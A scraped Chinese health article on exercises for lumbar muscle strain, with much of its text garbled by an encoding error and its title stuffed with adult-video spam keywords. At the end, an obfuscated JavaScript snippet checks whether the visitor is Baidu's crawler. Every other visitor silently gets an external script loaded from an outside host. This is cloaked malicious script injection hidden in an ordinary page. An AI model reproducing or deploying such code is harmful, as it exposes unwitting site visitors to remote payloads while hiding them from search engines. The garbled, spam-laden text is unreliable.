久久精品亚洲人人做人人爽|欧美日韩在线观看视频|在线a免费播放a视频|亚洲免费AV在线

<source id="usrd9"><ins id="usrd9"></ins></source>

<form id="usrd9"><tr id="usrd9"></tr></form>
      1. 當(dāng)前位置:首頁 > 健康 > 運(yùn)動(dòng)健身 > 正文

        腰背肌的功能鍛煉有什么

        2017-04-15 22:56:25  來源:360常識(shí)網(wǎng)   熱度:
        導(dǎo)語:腰肌勞損在以前都是老年人常見的一種疾病,但是現(xiàn)在這種疾病正在朝年輕化發(fā)展。因?yàn)楹芏嗯笥焉习嚅_車,到了公司坐在辦公桌前辦公,下了班應(yīng)

        腰肌勞損在以前都是老年人常見的一種疾病,但是現(xiàn)在這種疾病正在朝年輕化發(fā)展。因?yàn)楹芏嗯笥焉习嚅_車,到了公司坐在辦公桌前辦公,下了班應(yīng)酬客戶,難免會(huì)造成腰椎疼痛和腰肌勞損的情況。腰肌勞損漸漸成為許多上班族的通病,上班族腰肌勞損要怎么鍛煉呢?腰肌勞損的鍛煉方法有哪些?

        腰肌勞損怎么鍛煉?

        1.坐在椅子上雙腿并攏向前伸,腿部保持略微彎曲。身體靠近腿部向下俯低,雙手向前伸扶住雙腿。保持靜止動(dòng)作30~40秒伸展放松腰部,可反復(fù)做3~4組。

        2.坐在椅子上雙腿成90度并攏平放保持不動(dòng),身體挺直然后慢慢地向左側(cè)或右側(cè)旋轉(zhuǎn),旋轉(zhuǎn)至身體完全朝向左側(cè)或右側(cè)。一只手輕撫腿部,另一只手扶著椅背。保持此動(dòng)作30~40秒然后還原到另一側(cè)。反復(fù)重復(fù)動(dòng)作3~4組。

        3.雙腿并攏自然放平在地面上,身體保持挺直收腹,雙手輕撫腦后雙臂張開。頭部和身體成直線,緩緩地向下,當(dāng)身體接近于腿部時(shí)再緩緩地向上抬起,至身體和腿部成90度。然后重復(fù)此動(dòng)作20~30次,重復(fù)4~5組。

        下面來看下專家介紹的不吃藥純鍛煉治療腰肌勞損的方法。

        腰肌勞損是指以腰部隱痛反復(fù)發(fā)作,勞累后加重,休息后緩解等為主要表現(xiàn)的疾病,治療腰肌勞損關(guān)鍵在于鍛煉腰背部肌肉,而鍛煉腰背部肌肉最值得推薦的方法就是大雁式。

        治療腰肌勞損的鍛煉方法

        “大雁式”操作方法:采取俯臥位,去枕,然后用力挺胸抬頭,雙手雙腳向空中伸展,猶如大雁在飛。鍛煉時(shí),單獨(dú)一次抬起動(dòng)作要持續(xù)5秒鐘,然后放松肌肉,休息3—5秒,此為一個(gè)周期。

        每天早晚各鍛煉一次,每次做30個(gè)周期,長久堅(jiān)持,就能起到不錯(cuò)的緩解腰肌勞損癥狀的作用。此外,仰臥床上,去枕,頭部用力向后頂床,抬起肩部的動(dòng)作也能對(duì)腰背部肌肉起到鍛煉作用。

        最后,小編還需要提醒大家的是,鍛煉之余,應(yīng)在醫(yī)生指導(dǎo)下,配合適當(dāng)?shù)奈锢懑煼ǎ芷鸬绞杞罨罱j(luò)的作用。如果經(jīng)上述保守治療后,病情仍不見好轉(zhuǎn),說明腰部有其它疾患存在,應(yīng)對(duì)病情進(jìn)行進(jìn)一步診斷,及時(shí)對(duì)癥治療。

        轉(zhuǎn)載申明:360常識(shí)網(wǎng),歡迎分享,轉(zhuǎn)載請(qǐng)注明出處!
        ?
        if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}